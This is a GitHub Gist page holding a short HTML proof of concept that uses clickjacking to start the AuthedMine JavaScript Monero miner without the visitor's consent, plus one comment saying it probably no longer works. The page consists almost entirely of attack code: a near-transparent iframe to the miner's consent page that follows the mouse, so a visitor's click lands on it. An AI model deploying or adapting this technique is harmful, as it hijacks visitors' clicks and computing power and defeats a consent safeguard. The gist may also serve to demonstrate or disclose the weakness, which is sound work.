Created
October 21, 2017 19:32
-
-
Save bcoles/f7c21a1f2cdb79e291793f951dcdc4d4 to your computer and use it in GitHub Desktop.
Start the AuthedMine JavaScript Monero miner without user consent (using clickjacking)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body> | |
<div id="container" style="border:0;margin:0;position:absolute;width:5px;height:5px;overflow:hidden;cursor:pointer;opacity:0.01"> | |
<iframe style="position:absolute;border:0;width:5px;height:100px;top:-85px;cursor:pointer;" src="https://authedmine.com/media/miner.html?key=your_public_key"></iframe> | |
</div> | |
</body> | |
<script> | |
window.onmousemove = function(e) { | |
var container = document.getElementById("container"); | |
container.setAttribute("style", "border:0;margin:0;position:absolute;width:5px;height:5px;overflow:hidden;cursor:pointer;opacity:0.01;left:" + e.x + ";top:" + e.y); | |
} | |
</script> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
I'm pretty sure this won't work any more, especially as
authedmine.com
no longer exists.